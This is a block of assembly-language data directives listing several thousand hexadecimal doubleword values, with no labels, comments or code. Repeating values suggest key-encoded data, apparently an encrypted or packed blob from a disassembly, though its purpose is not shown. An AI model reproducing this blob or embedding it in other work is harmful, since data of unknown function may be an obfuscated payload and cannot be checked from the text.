dd 0FC609838h, 1566443Fh, 4EDC918Fh, 8192DD59h, 0EDF406A3h
dd 0C8E3C9D6h, 0E96034FCh, 75B6EECBh, 0D4EDEE52h, 74A6FB3Dh
dd 0B0EB2353h, 7560011Ch, 9D950954h, 8182C467h, 1572CB53h
dd 11511132h, 7CC6D760h, 0E0184140h, 1B31474Ch, 6F6C3578h
dd 0A8ED2EE7h, 137665A3h, 0A0EDDBCAh, 1376034Bh, 156685DBh
dd 1363CE32h, 0CCEA3569h, 0F6A13DB8h, 0B19594C9h, 1567CA3Dh
dd 9E9A2232h, 5690087h, 0FBE7E834h, 52BF6AC5h, 1564AC3Dh
dd 74061132h, 459E2553h, 0C39955Ah, 0CD917A0Bh, 0EB2F293Fh
dd 80DDDB74h, 564CBA4Ah, 0E6E7F1C5h, 0F966809Ah, 9C3D5033h
dd 753EB874h, 0D691CDB3h, 58F04C8h, 3F668832h, 91E68DB9h
dd 6A78EA45h, 0B33A60F3h, 744EA33Ch, 0EC6384F3h, 153BF85Ah
dd 317A9832h, 6BBF7A89h, 4EBE4572h, 0DFD9DB52h, 744155A2h
dd 0AB30D31h, 0EC9F4222h, 34F7AFB9h, 97691722h, 15668835h
dd 1567CF3Dh, 449E2232h, 115AF64h, 6167A9E0h, 9A384016h
dd 664EA332h, 1A47C326h, 15669ABCh, 156BAD32h, 36D2232h
dd 6219F539h, 3A1A4B6Fh, 0B876740Eh, 156AA83Dh, 9A691132h
dd 15668834h, 1566C93Dh, 0A8332232h, 15661132h, 9E9AE6BBh
dd 0D1E5601Eh, 1DE62D36h, 1A661132h, 15668ABAh, 9C072432h
dd 5693387h, 1AE81E34h
dd 0FC668832h, 15664438h, 4B92ECE1h, 0CEF207D8h, 68F5D50h
dd 0B664432h, 2A5E1487h, 0C3593DF0h, 0A433B6BFh, 0A951F323h
dd 0EDE51419h, 9EE31ECDh, 1A668832h, 156645B2h, 2BE7DB32h
dd 0C8BBCCEFh, 151E0D3Dh, 94694432h, 15662233h, 0AA3141C7h
dd 3E9CF006h, 0EF1E708Ah, 4A9E0B19h, 1A3E17BBh, 15668FB7h
dd 14E44B32h, 0ED662232h, 152D745Ah, 314A0132h, 1566408Fh
dd 48882332h, 1567993Dh, 9C9F8832h, 5695587h, 4E12D34h
dd 0FC661132h, 1566883Eh, 8880102Eh, 9CBC366h, 22AB7C8h
dd 0EAB5ABDBh, 1572ADCDh, 512D2232h, 8FA00D0Bh, 1115A65Fh
dd 8CDC1D3Ch, 0F74338D5h, 0D5A71BCCh, 90657131h, 13765BE7h
dd 156BA53Dh, 1D8F1132h, 0F9668832h, 0D3762AE2h, 96F2F884h
dd 549548Fh, 91698934h, 156647A6h, 157CAF3Dh, 0A0061132h
dd 15776186h, 53324432h, 2CA63E1h, 7A6EA9D5h, 4EC18733h
dd 748BDBF4h, 32DC4452h, 74CFA4DDh, 0BFCCB6B3h, 9069EE98h
dd 1566229Ch, 1576F952h, 6528832h, 8B2751B3h, 5BF4BEF6h
dd 52E0BA44h, 9A69C9CDh, 15664432h, 0E4E77169h, 6AFA8D9Bh
dd 0AA31E969h, 15664436h, 3F5DE4B3h, 0EB671E98h, 3F5D66B3h
dd 1A394B98h, 156625BEh, 14EE1E32h, 0E9668832h, 94D81260h
dd 0AF75056Ch, 0F9BEB04Dh, 9C387A33h, 753CB864h, 0CDEDF4B9h
dd 249E2053h, 759EB9F5h, 0A1361653h, 4D80AA34h, 9564FFF2h
dd 0FBA61EC4h, 288C43Ah, 1A3CD2BAh, 156610BCh, 408F7D32h
dd 75664432h, 1563A23Dh, 0FBDD1132h, 1A1018DEh, 156646BBh
dd 74074232h, 156E993Dh, 1A068832h, 0E2E68485h, 0ED57438Fh
dd 0ED57D603h, 15610F3Dh, 96694432h, 15662233h, 152C79CEh
dd 9EF8832h, 9D8EF716h, 198F79EAh, 93661132h, 9ED14DB9h
dd 37B92236h, 0E07E0278h, 155DFF5Ah, 31620132h, 1AB7CF52h
dd 156620BDh, 74A49A32h, 9F335B1h, 1A674222h, 1567A0B6h
dd 12E91E32h, 1A668832h, 156645B1h, 0F9E5DE32h, 317A9836h
dd 74560689h, 0C514FC04h, 0CD67EBACh, 0A8E5ED69h, 13712D64h
dd 37E24B32h, 0E9662232h, 0F1238CBFh, 108F8E24h, 0A1664432h
dd 4663FB43h, 0EC06C2CDh, 1560063Dh, 90694432h, 15662232h
dd 85599153h, 15330C3Dh, 90694432h, 1566223Ah, 15649E3Dh
dd 74068832h, 1563FE60h, 0C2672232h, 944205B9h, 15668CF6h
dd 1569AD32h, 35BC2232h, 1BA5F63Ah, 0F3C3D46Ch, 0E3EABABEh
dd 14E12DCDh, 0E9661132h, 15674FDBh, 1577AD32h, 0BC8E2232h
dd 0C7D9651h, 7B4A0BC6h, 63DAB006h, 960EC9ABh, 976941CAh
dd 156688F9h, 0D3E72252h, 48F88CAh, 94661132h, 0BDF2E5CAh
dd 994C561Bh, 9517FF70h, 0C5A9DFAEh, 6E28753h, 0FC664432h
dd 1566223Ch, 39AF8EB0h, 2D899A3Eh, 0DED6FFBCh, 0A7345716h
dd 3D88A15Eh, 0D06AD2E2h, 0DD98E106h, 1B8FF31Eh, 0BD661132h
dd 4E417EF6h, 0E2D5AC74h, 72EAE7CCh, 759ABB14h, 15668FDBh
dd 0B2ECC632h, 0FEA5101Eh, 156617DBh, 0FD91C532h, 742BD1B8h
dd 404226B9h, 0D0E7F4BBh, 15668836h, 926281B1h, 0ED3A061Eh
dd 14E71E98h, 0EC668832h, 1566E8DBh, 11EE2D32h, 75661132h
dd 75074BB9h, 15EC4B52h, 0FC662232h, 15661135h, 0B1B42D62h
dd 7457387Fh, 156633DBh, 0F33CA032h, 71B4EDB9h, 4CB50D8h
dd 1A3E43A9h, 0EA07F8C6h, 943EAC06h, 156640F6h, 1CE32D32h
dd 75661132h, 9400D762h, 744CA7E4h, 10E12D98h, 75661132h
dd 7439DACEh, 0FC993BB2h, 1521A73Dh, 73061132h, 0FFB56B3h
dd 58FBD68Ah, 0A8E5430Ch, 1371B464h, 4E28732h, 0E0664432h
dd 0F653BFBFh, 73061724h, 0AFCC60B3h, 0E9B5BB53h, 9DA5AA61h
dd 9ED156Dh, 11A20916h, 1A664432h, 15662AB4h, 17E01E32h
dd 75668832h, 84E3CF53h, 1A603213h, 156610BFh, 0AA317D32h
dd 20044477h, 0E26EC5F3h, 0B29190EDh, 943BCD44h, 441DDDD5h
dd 5B91A332h, 1429626Eh, 0ED4FD7CAh, 76738B1Fh, 1A34427Dh
dd 156611B7h, 9E00D332h, 0AC3725CCh, 15662236h, 5A2B6F37h
dd 38AEA115h, 3229094Ch, 156ACB6Bh, 56661132h, 17591F2h
dd 6E27ACE6h, 0E0CD4716h, 156FF89Fh, 3C7B8832h, 0EE272C0Fh
dd 441A23D8h, 3734918Bh, 0E7D9DF2Ah, 52326770h, 7A36D5B3h
dd 0EC6F32FCh, 94BF7F6Dh, 0FA19E7F3h, 0E928AB4Dh, 9400716Bh
dd 0FDB64AD5h, 15664423h, 0FD56A699h, 0FCE5CE3Fh, 812485AFh
dd 17446365h, 7438DB0Eh, 0EA9D37DBh, 0F2E7E8CDh, 5559C24Fh
dd 9C077865h, 5690087h, 15766134h, 0E6D4432h, 878B3D6Fh
dd 3D41EC67h, 17301362h, 7306585Ah, 9FFB4C8Bh, 9C3570DAh
dd 11A509D1h, 96664432h, 9E126D9h, 1EF4D16h, 7D07E816h
dd 1566C432h, 74B1A952h, 188F1158h, 75668832h, 63EF45D3h
dd 9ADBFE3Eh, 29BEAE82h, 26233DCDh, 0EA9A4222h, 54997A7h
dd 0FBE77134h, 4B354AEFh, 0F2A6C554h, 1ED438Eh, 0F3EF4716h
dd 15624EB3h, 0D3E74432h, 15662236h, 494225B5h, 15686152h
dd 4A2B4432h, 80C387C7h, 944C486Ch, 0A98312FCh, 1565C93Dh
dd 0FCE62232h, 98ED7073h, 1376A733h, 0A5DB11CBh, 9438931Ah
dd 277763D7h, 0BFA30920h, 40568C0Ch, 484236C5h, 2BBDD4B3h
dd 3CEFCACAh, 1575AD6Fh, 7B612232h, 0C30E7DAFh, 8DD1D482h
dd 0E0E1691Eh, 1034B8EFh, 11D9462Ch, 94668832h, 0A93FE3F3h
dd 949F234Ah, 0A93FB6DBh, 9C93D74Ah, 54945BFh, 0AD8FDB34h
dd 0FC99EEF4h, 15668820h, 5AE74930h, 32438Dh, 6B67614h
dd 8AFBFB4Fh, 128F4C48h, 78662232h, 0C4DE0754h, 9C8F5001h
dd 0E066441Bh, 1574CB52h, 0ACBC1132h, 0F65C6939h, 0A6507ACEh
dd 3DF7E4B7h, 8B784898h, 14EB03CEh, 0E060541Dh, 0EC3F13CDh
dd 0B0349CBBh, 1A068E25h, 156646BBh, 74ACA932h, 412829B3h
dd 9069C476h, 156644A4h, 6DE744CAh, 1A485D36h, 156601B7h
dd 1A8E2432h, 94662232h, 94E395ACh, 21723BA5h, 7B0140D8h
dd 1A39E50Fh, 156614B2h, 0DFE7EE32h, 0FC07D4F6h, 1566223Ah
dd 9EB09471h, 73371C7h, 15488E5Ah, 3162AB32h, 274215B3h
dd 4B48F93Eh, 1954AAB3h, 0A5060C43h, 0AA317021h, 15668834h
dd 607DAAB3h, 0EB676FA0h, 607DD7B3h, 7539C5A0h, 156649DBh
dd 60DBD032h, 2FFCA418h, 0CA8BD25Ch, 0EBEC7E91h, 6CE3A953h
dd 1A60013Dh, 156689B7h, 7406BC32h, 1562FDDBh, 0F9E5E932h
dd 31620136h, 894268B3h, 4B56166Dh, 4AFAD7B3h, 459EB806h
dd 0D4268B3h, 4F6A9D32h, 157EAA61h, 0CF67848Dh, 90692469h
dd 15662237h, 3AA19054h, 108FE8F9h, 0C7664432h, 0CFF4B283h
dd 74077052h, 0D3D98752h, 0EB4B9AB3h, 24076F18h, 976971FBh
dd 15668834h, 4646ABB3h, 0AB060F56h, 7FCF1092h, 0CAFF6FB3h
dd 740708C8h, 156ACB9Eh, 2F171132h, 4B1F8721h, 25809567h
dd 155A95A8h, 14C5953Dh, 29938832h, 0C8E24B1Fh, 0FC99DDCDh
dd 15661139h, 286BD00h, 92A194C9h, 29FE58BDh, 17E21E1Ch
dd 0EC668833h, 9769740Eh, 15662727h, 0FCFFA652h, 15668822h
dd 0DF94EB89h, 727639Ch, 27681EC0h, 0ADDE7F2Fh, 1A5F7853h
dd 0EA99B9B4h, 0E1EC71CDh, 36E3754h, 1A277853h, 1562C6B0h
dd 1EE91E32h, 75668832h, 0BB3B8FB3h, 0A2694779h, 4F5A70E2h
dd 0EA140E3Dh, 7506BBCDh, 3D82DC8Dh, 1575F80Dh, 3CF68832h
dd 332AE3D8h, 0EBB445FAh, 83EF7048h, 0F7AD4ECDh, 0AE0025C6h
dd 290792FCh, 50E21E6Dh
dd 0FC9977CDh, 1566443Bh, 4A91387Bh, 75AE08Dh, 9E00E8CDh
dd 2907B8E5h, 97E42D53h, 0FC661136h, 1566883Ch, 549EF132h
dd 0ACB8059h, 8558DF0Fh, 6F5A898Bh, 0EA68C23Dh, 9869DDCDh
dd 15661129h, 0FCA40352h, 15664420h, 0E730296Ah, 0DF36E0B9h
dd 216FF9B6h, 0D6F4BFFBh, 0FC07B139h, 15661573h, 15669BDBh
dd 3D02CC32h, 0F3A37A35h, 7A17A39Eh, 8795EEC2h, 4A8F6159h
dd 1561AC3Dh, 91691132h, 15668833h, 0BED913C7h, 9463B96Bh
dd 8E3FBBC5h, 4A9C8937h, 15664FDBh, 6BAC8032h, 6E6A525Eh
dd 4CDDF3h, 9169B60Bh, 156621C7h, 1567983Dh, 469E8832h
dd 0EA15EB89h, 0D1A5A327h, 9407223Ah, 525C9ED9h, 1D858511h
dd 946EC1F3h, 0B799EEC1h, 4EBC898Fh, 0CDD14B52h, 9648FAB3h
dd 45072E57h, 1566898Ah, 4DA74532h, 0D41B9852h, 9E0025E4h
dd 448FE9E4h, 0E099BBCCh, 1561A03Dh, 9C691132h, 15668833h
dd 1AAFC1CEh, 1565B6B6h, 0A0EBE932h, 13768F6Fh, 1561C63Dh
dd 73062232h, 27A9C1B3h, 19EDDA53h, 11A2C516h, 0FC662232h
dd 15661135h, 154DEE6Ah, 96544D75h, 21EF26DEh, 9CB09816h
dd 469FD6C5h, 0A4377281h, 4CAD12EFh, 0CE90D2CCh, 9D7C4BB2h
dd 68F1FEAh, 9B662232h, 5BBA36D3h, 69C33A6Ah, 87631A1Bh
dd 0FB181E4Fh, 60C80A36h, 976970CFh, 15664433h, 0F6A7A3C7h
dd 3C4EC36Ch, 0F6DBDDCBh, 3C4E966Ch, 1F8F7FDBh, 0B4661132h
dd 2054DE79h, 0C59D53D2h, 15664AF5h, 194F1132h, 316A0316h
dd 756280B1h, 2F89B54h, 0F3899053h, 3C6AB236h, 0F3DC16FDh
dd 146A1836h, 9F694BE5h, 1566883Fh, 15664CDBh, 16BBD632h
dd 21A03F04h, 2491B9DEh, 0FC9175CCh, 1566223Ah, 0A4F9AB9Dh
dd 0BE565589h, 9269E0C1h, 15662220h, 15661CDBh, 26E49D32h
dd 0E123EF1h, 7B05B846h, 0A23516D3h, 0D5B97EDAh, 0F2A647DDh
dd 1591A23Ah, 9E996EBAh, 0D1E5AC2Eh, 989FBC36h, 5617FA7h
dd 90EDE434h, 13768F47h, 73BBCE52h, 2619F1B3h, 1AA69453h
dd 15661DB7h, 58E2432h, 0A5662232h, 0D560B999h, 0E9A7F8B0h
dd 51E26B26h, 73802ED2h, 4DF55288h, 0F0E34E53h, 52605411h
dd 156629DBh, 65FF3C32h, 70A0998Ch, 3B034B1Dh, 8FC1F05Ah
dd 2EB1EE6h, 0FC668832h, 15664420h, 0C2663902h, 0D4905763h
dd 435A9D38h, 0AB16DD1Fh, 0A099E423h, 13760C77h, 11EC8752h
dd 73664432h, 738CD289h, 7754D0B3h, 9FE30553h, 1A6057B7h
dd 156623BAh, 0C599E932h, 15756152h, 3EE94432h, 6709C1A9h
dd 0ABFA81E9h, 2525B897h, 53BF6423h, 520E43FCh, 9C661160h
dd 7406AC26h, 1A0694CDh, 0AA69D58Dh, 0D5E370C3h, 15B00D3Dh
dd 92694432h, 15662233h, 0C8E39AC7h, 75609827h, 0BA91C554h
dd 746391DBh, 9069D1B7h, 15668842h, 0F0E382CBh, 59603211h
dd 15661EDBh, 0C6BA3232h, 99ACAC05h, 0CC28FDD0h, 48913986h
dd 0CF7A615Ah, 1CE54BEBh, 75662232h, 750CAB54h, 74903F3Dh
dd 823F1CDh, 93692422h, 15661133h, 9FE305C7h, 756057B7h
dd 156625DAh, 6F8DD232h, 363E5DFEh, 529CABB3h, 1A3F0775h
dd 156610B5h, 0EA077D32h, 156CADE2h, 0BC262232h, 18514F79h
dd 0F46781D6h, 9487CD63h, 156626F3h, 118F9032h, 92668832h
dd 9C3A603Eh, 0EA930626h, 1DE11EE2h, 1A668832h, 156646B2h
dd 90074232h, 0CE31EF2h, 75668832h, 6A78FD54h, 1595CB53h
dd 1C8F1132h, 0D9668832h, 0A946CAFDh, 0B9D58DD0h, 0B03494BBh
dd 1D8F8E25h, 97664432h, 303CD4B3h, 467F1910h, 0D6E76BBBh
dd 15664436h, 9262C9B1h, 9C3A352Eh, 198FAC36h, 65664432h
dd 0A3F8C10Eh, 0C9E6A0D0h, 404207E3h, 0D0E7A1BBh, 15662236h
dd 9262FCB1h, 9C3AAC1Eh, 138F6006h, 90662232h, 8F64991Eh
dd 6CE30593h, 756057ACh, 156631DAh, 0C50B0D32h, 0EBC36C6Bh
dd 0C157E559h, 6E529105h, 32E09A5Bh, 0B2C0318Bh, 90691B5Fh
dd 15662230h, 0EA07E8B9h, 0AF06E8E2h, 56BD1D81h, 68F7553h
dd 76661132h, 2CBAE0F0h, 7F34F5F6h, 0CF364311h, 3CFC2B5Ch
dd 743F20EEh, 1AA64FCAh, 15660DB7h, 1572F832h, 3DA88832h
dd 0AC2BFF73h, 19F70096h, 8A702673h, 0B757EF4Fh, 38F5159h
dd 1A662232h, 15661AB9h, 0C4E6E832h, 15E34B91h, 74662232h
dd 94255BBh, 0D69FE9CAh, 156654DBh, 0C32F7A32h, 0DFB63995h
dd 1EFBCF36h, 2C9847D7h, 0E906DA34h, 0B0349CB9h, 1A938E25h
dd 156648B6h, 1561CB32h, 0ACC81132h, 999189B5h, 7C522C0Bh
dd 11EF2232h, 1577F816h, 0C9C68832h, 845687C3h, 66C2DAE0h
dd 0C8719A8h, 4731FEF0h, 0C5EF8EBBh, 944236B9h, 156615F6h
dd 15776132h, 1E44432h, 7D43AA77h, 573EAFEBh, 0F060BF03h
dd 4733B322h, 4A999C64h, 0DBE709B3h, 751BB93Bh, 335482B3h
dd 0FBE76543h, 6BD13549h, 941C66B3h, 0E7EF0585h, 16A4236Ch
dd 93694B30h, 1566883Bh, 0E2E72252h, 74068254h, 9DDF4053h
dd 14668832h, 4F57BBF3h, 9E00426Bh, 3CBC90FCh, 74211A35h
dd 1963D1BBh, 969F2422h, 9EF15DEh, 159E3316h, 0CD674432h
dd 0AC37DE69h, 1566113Eh, 24994933h, 97691D68h, 1566223Bh
dd 73969A52h, 6C0349B3h, 12E94B53h, 75662232h, 9E007052h
dd 80EFE9E2h, 1376573Bh, 3152DDCEh, 11A2906Ah, 0FC668832h
dd 1566443Ch, 10BD6FAFh, 9DE12B3Fh, 9CA65B25h, 619972F5h
dd 11ED0616h, 11A29016h, 75668832h, 380786B8h, 178E3394h
dd 4A1C731Fh, 10AEA15Dh, 7A393E50h, 0FD778437h, 0CAED7130h
dd 2E0756B8h, 5754DB7h, 51E42D34h, 0E9661132h, 19630D09h
dd 96694222h, 15662205h, 15661DDBh, 0E9ADE032h, 0ED2EBEF4h
dd 0B7B69228h, 0A00670E6h, 0C7E7EEB5h, 0D707BD24h, 18F2236h
dd 0E5661132h, 0D2D6EF74h, 96D89615h, 53F2510Ch, 3E6D8A21h
dd 74A83145h, 156ECF3Dh, 95692232h, 15661130h, 4431E952h
dd 0D172795Ah, 0FCE77B30h, 73EE21DCh, 0E4E761E3h, 5B7BB595h
dd 9C3FEDBBh, 4A62354Eh, 15669CDBh, 873B132h, 2A9B3F82h
dd 0D3B9FB03h, 6C55A819h, 682C55C8h, 3122E596h, 584E1736h
dd 31227724h, 3112C536h, 24ADE36h, 310A903Fh, 6E164336h
dd 310AC52Ch, 0C817C736h, 3132E660h, 31327F36h, 3112C536h
dd 14446936h, 0CEB1E98h, 0FC668832h, 15664426h, 3AC6D7F2h
dd 0CD3DC022h, 5FA46DDAh, 4D4CE2F2h, 6466873Ch, 172B978Ah
dd 59DDDB69h, 24099748h, 0D04B79EAh, 1A52C005h, 15668EB2h
dd 0ACD72432h, 9807ECB9h, 52894BFh, 15616134h, 0FDA34432h
dd 0EC36F47Ah, 0E087EE68h, 0AE357052h, 15664432h, 0AF34D133h
dd 15661132h, 17EC5233h, 29931F68h, 7BE22DDBh, 0FC661133h
dd 15668822h, 3C0FBD23h, 751371B3h, 0FD7146B6h, 1911198h
dd 9169AC0Eh, 156623A8h, 78B09152h, 1A69B453h, 156637B6h
dd 156ACB32h, 74281132h, 0F8DD2927h, 4E5ACC44h, 0D85ADCB7h
dd 14B6953Dh, 0EC068832h, 156641DBh, 33AE332h, 29077314h
dd 0E7E287D9h, 75664433h, 0ACBFA354h, 0EAD11EB2h, 188FE953h
dd 85664432h, 0AB9E7E51h, 0E508615Bh, 0FAF0315Dh, 0DFE724F1h
dd 418B3E75h, 156617DAh, 2A026532h, 1A11876Ch, 743FEC85h
dd 156C993Dh, 108F8832h, 8A664432h, 0EBD3F4E5h, 14D94660h
dd 9C668832h, 0E7671BC8h, 0EC3C38B8h, 83D641CEh, 0EB053B61h
dd 0EBB5B2F1h, 6495A2F9h, 213DC93Ah, 21E38C31h, 35217004h
dd 58F7AF1h, 74661132h
dd 0A8EEC5CAh, 0A16B43B1h, 2EC58C4Eh, 95923034h, 906908C9h
dd 0EA99BB4Bh, 1561A63Dh, 1A061132h, 4A344385h, 9ED1253h
dd 11A2A116h, 156605DBh, 4A4FA732h, 16523F83h, 4C76C50Dh
dd 1935D396h, 0F2D095D9h, 13DF1563h, 14662232h, 316A9AF9h
dd 15624CB3h, 0FC064432h, 15662226h, 4990BAF4h, 8C5F33EFh
dd 2E60A1D6h, 0EB112869h, 93A7CB77h, 92C56B3h, 7D0723FEh
dd 15661944h, 0AC421DBBh, 15668830h, 0C65B533h, 0B88FDA6Bh
dd 0FC661132h, 1566883Bh, 85685901h, 330EFEDBh, 1410EEAEh
dd 944294B9h, 156640F6h, 1A064232h, 749ADE85h, 0EE9D0B53h
dd 15B9C03Dh, 99692232h, 15661120h, 156685DBh, 0D565A332h
dd 14784EBh, 0F52120C0h, 1A8F121Bh, 93664432h, 73832612h
dd 7D109C2Ch, 2EED4402h, 9E303BDCh, 0D1E5062Eh, 14EC1E36h
dd 0E0668832h, 1567FD63h, 0FCE72232h, 676C5553h, 0D4E77933h
dd 676C0053h, 753F3B31h, 9D69ED52h, 15668832h, 1E8F1753h
dd 0C5662232h, 2207714Ah, 9C6A5184h, 743E1799h, 15639A62h
dd 0D6671132h, 96428CB9h, 0A50640F6h, 7489A843h, 0EA9841DBh
dd 0A3697DCDh, 9506456Ch, 0FD069CDEh, 1566113Ah, 0AAC1FB2Dh
dd 0C6D6777Bh, 743C746Bh, 3B8D9253h, 0EB4D0C3Dh, 0FC9FBBCDh
dd 1566221Fh, 1561933Dh, 75068832h, 1292C453h, 1418A253h
dd 1BE31ECCh, 0FC9977CCh, 15664423h, 36D576A5h, 562FBECAh
dd 6E9FEBE9h, 1C3FCB8Eh, 0E9C3CB5Eh, 9269EECDh, 15668825h
dd 156656DBh, 41106332h, 0BDD248B2h, 0A64DFFBh, 0E8BFFD4Ah
dd 7D26E5B1h, 15664E57h, 0FC42BCBBh, 1566443Fh, 9A656677h
dd 0FF844814h, 0DDA9BE90h, 7E332CF4h, 19EF2232h, 4E71E16h
dd 0FC668832h, 1566443Eh, 66CBEC98h, 3C1383FFh, 8965EB37h
dd 0EFAFA52h, 68F24E7h, 0F8661132h, 1B03A729h, 0C33AC51Ah
dd 9CC4CDEEh, 57DA9163h, 7D07B79Fh, 156600CFh, 75423EBBh
dd 156614DBh, 88E6F032h, 0AE00A3ECh, 7D07DBD3h, 156659F5h
dd 7542B4BBh, 156641DAh, 7B701632h, 4C9FEFCCh, 0B1B00954h
dd 0D55725B9h, 479F8EC7h, 0C6EED3BAh, 96429CB9h, 946940F6h
dd 15662224h, 156600DBh, 71718B32h, 246EB2Bh, 0C3A6B809h
dd 650A14AAh, 4700F7B9h, 0C646B480h, 3172A954h, 1564D5B3h
dd 95938832h, 916934C9h, 156627A4h, 15661BDBh, 30DC5532h
dd 5ACE4EF0h, 293AF4EEh, 0EFE21E3Dh, 0E9668832h, 1567C93Dh
dd 29932232h, 0C3E21EDBh, 1A668838h, 156657B9h, 1568CB32h
dd 1941132h, 95B844C7h, 0B4371CB1h, 10E23CADh, 9169FA0Eh
dd 156686AAh, 1573CF3Dh, 58F2232h, 19661132h, 0D6E7B121h
dd 34347AB2h, 0A3F18C3Ah, 0ED93C1CBh, 91696B0Eh, 15664774h
dd 9ACA9C52h, 0ED076794h, 91696A0Eh, 15664B4Ah, 156CA23Dh
dd 1A061132h, 156688B5h, 7495CE32h, 4A4216CDh, 1562D5B3h
dd 58F8832h, 0BE664432h, 4C730B17h, 0A6D71645h, 1087B4BCh
dd 9E78D0D9h, 9C33062Eh, 11A390D7h, 96668832h, 39E140F7h
dd 9F697E16h, 15661133h, 156F61CBh, 285E4432h, 967DA313h
dd 9E19EEF7h, 9C33AC3Eh, 11A3C5D7h, 94662232h, 156615F7h
dd 314A0F32h, 21EDBC6Eh, 0F6EF7116h, 1562D2B3h, 0D6E58832h
dd 317AC336h, 19EA2D6Eh, 1A661132h, 15668EB8h, 15EF4B32h
dd 0D6662232h, 37E3D6CEh, 13609F94h, 0ED664432h, 1508D55Ah
dd 31729832h, 15668888h, 9F944532h, 47937828h, 0A71DA162h
dd 4DA4A06Eh, 0D56EA6F2h, 0DFE62AD0h, 0E3A4EF76h, 5E9408E8h
dd 753C9712h, 15E12D60h, 4E661132h, 749C0354h, 1AE6BFB2h
dd 0EA9909B7h, 1DEB1ECDh, 75668832h, 0AD002552h, 4607D906h
dd 0EA99EE89h, 4EB889CDh, 0F0E3CFCBh, 1A60321Fh, 156610BAh
dd 80ED7132h, 13766C6Fh, 156632DBh, 7A858A32h, 89F65340h
dd 5656E18Ch, 0CC463302h, 11E74774h, 0E57AA916h, 0A8331F20h
dd 70DF05F9h, 9464F4F3h, 1E585C7h, 488D6DB6h, 1577AE3Dh
dd 198F1132h, 0DC668832h, 7E846446h, 52494FE7h, 7D26AD2Ch
dd 1566B2DFh, 0A84268BBh, 15662234h, 0FC3BFA33h, 1566883Dh
dd 43366965h, 0DB824EEBh, 0A31A4DB5h, 1AF30872h, 156656BAh
dd 156BCB32h, 27181132h, 7AFAE79Fh, 33650987h, 451E14C7h
dd 1566138Ah, 44968932h, 1566448Bh, 16A72332h, 0E03E482Bh
dd 97695009h, 15664424h, 15662ADBh, 0D5089132h, 0F898C768h
dd 1ABC7F09h, 0EA9869B4h, 0D6E7E4CDh, 7D04C77Dh, 0AC37BF1Bh
dd 0B035ACBh, 948FC07Bh, 0EB4494FBh, 12878575h, 6429D3B3h
dd 0DE4F860Fh, 9A69706Bh, 15664433h, 0AC3772C7h, 15661134h
dd 3C3F40BBh, 1A9F1CF1h, 156632BBh, 1FE01E32h, 0FC668832h
dd 15664437h, 16FA4162h, 0FCCB7755h, 15668839h, 0CA3CB461h
dd 2135A844h, 7356D3E9h, 1FE18799h, 75664432h, 73A7A954h
dd 3C57F6B3h, 4D35D853h, 964258B9h, 1B8F26F6h, 0A7661132h
dd 1B13316Eh, 0CFF3DD8Ah, 0A5F59D03h, 9269BAC1h, 15668825h
dd 156656DBh, 7DBF2832h, 557BB42Fh, 7A6B7093h, 13EC9F4Eh
dd 40B602A0h, 1566158Fh, 9E888932h, 0D1E5601Eh, 23D64236h
dd 0F5E77752h, 0E1D90982h, 74190026h, 315AAB53h, 15661EDBh
dd 11169732h, 4275C607h, 0BBCD3CEEh, 5E617062h, 1942FCBBh
dd 14EE4BC7h, 0E9662232h, 1FF7A4BBh, 0FC9A8E22h, 1566443Ch
dd 619A83AEh, 2F155587h, 718D7D1Fh, 21990C5Fh, 0D1E77D16h
dd 15661136h, 0EFEDEE52h, 317ACF53h, 9483AB67h, 156615F7h
dd 11A30B32h, 494268B5h, 316AA9CAh, 94839867h, 15668CF7h
dd 11A3C732h, 49420EB5h, 31529ACAh, 94810165h, 156640F5h
dd 11A1A132h, 49422DB5h, 4B32DECEh, 156282B3h, 0D3E52232h
dd 31529636h, 14E9876Eh, 0E9664432h, 0EA86F9DBh, 90A1E9CDh
dd 13712E10h, 15664430h, 0EBED4452h, 15649B3Dh, 0DBD18832h
dd 0A10EBC53h, 9C662244h, 0FC3D3506h, 15668820h, 0F5BE279Eh
dd 0F38EA162h, 0ECE1B09Bh, 0B81C3A65h, 0A3696555h, 19E62D3Ch
dd 1A661132h, 15668EBEh, 15EC4B32h, 95662232h, 966991CBh
dd 1566885Fh, 156657DBh, 6B5E1D32h, 0F2B6CA80h, 2E4D67A9h
dd 0AB81797Ch, 56E22E6Ch, 41E1AF64h, 0E64FF5FEh, 94AD456Ch
dd 0D932A5F1h, 0DEED714Fh, 0ADDCDA53h, 0E26A8F45h, 5FB4D5E0h
dd 52949070h, 3C95BCBAh, 1E8F1EE1h, 0C5662232h, 3F2957BAh
dd 0C49D715h, 0BF8F5F22h, 75662232h, 5D0DD2B3h, 7507BBAAh
dd 1565C53Dh, 9E002232h, 0F5B391CCh, 0A235D853h, 95A9BA6Bh
dd 0CA90C7C5h, 0E3D1DEB2h, 1F8908EDh, 3D3DBCBAh, 9F067AF3h
dd 13E61EECh, 1A668832h, 156644B5h, 150E4332h, 3C661132h
dd 19EDAC3Eh, 11A2C716h, 1576A93Dh, 1E8F1132h, 3A668832h
dd 7B59F074h, 51A94037h, 439F0D7Fh, 910AA98Ch, 0B380C55Dh
dd 9454356Ch, 112ACEC4h, 9E97A910h, 0D1E76006h, 15662236h
dd 21DE41CBh, 1472E649h, 0DE4F1CF1h, 6E52C9B3h, 78F055Ch
dd 0CF668832h, 0E5381E0Bh, 37A992CDh, 348A8328h, 0F779A410h
dd 0F0E3CFF2h, 0EC60321Fh, 3D3B84B9h, 92698E22h, 15664439h
dd 156624DBh, 3394932h, 96A6DD05h, 54C598Fh, 91692334h
dd 156615B5h, 1562053Dh, 75064432h, 73064353h, 1A02AD88h
dd 156682B7h, 1563AD32h, 70412232h, 74D6B7C4h, 97694B0Bh
dd 1566406Dh, 1AB51BCEh, 0EA9D36B0h, 14EE87CDh, 0ED664432h
dd 1578A73Dh, 0AD061132h
dd 7EF1D4FDh, 156656DBh, 0DE0BDB32h, 0B48A03F1h, 0AC74D6DEh
dd 0CB4CF021h, 748C94A4h, 156237DBh, 90A17D32h, 1371E210h
dd 15662230h, 15679E3Dh, 0E99A8832h, 9C62A8B1h, 39E70606h
dd 0D0618016h, 0D6E7D318h, 3FA343A3h, 1570A03Dh, 9B691132h
dd 15668822h, 15664FDBh, 3EE7F332h, 2253477h, 0B0E37896h
dd 0E968F23Dh, 1AE6DBB2h, 15668BB1h, 2E78732h, 0FC664432h
dd 15662220h, 0A470D078h, 6CEC6DEh, 6C4CD87h, 983B3345h
dd 1A061B81h, 15668ABDh, 733E1432h, 0A5B3D3B3h, 3BA59053h
dd 1454DC35h, 99DF15F9h, 944CA662h, 0FA6137D3h, 3F970916h
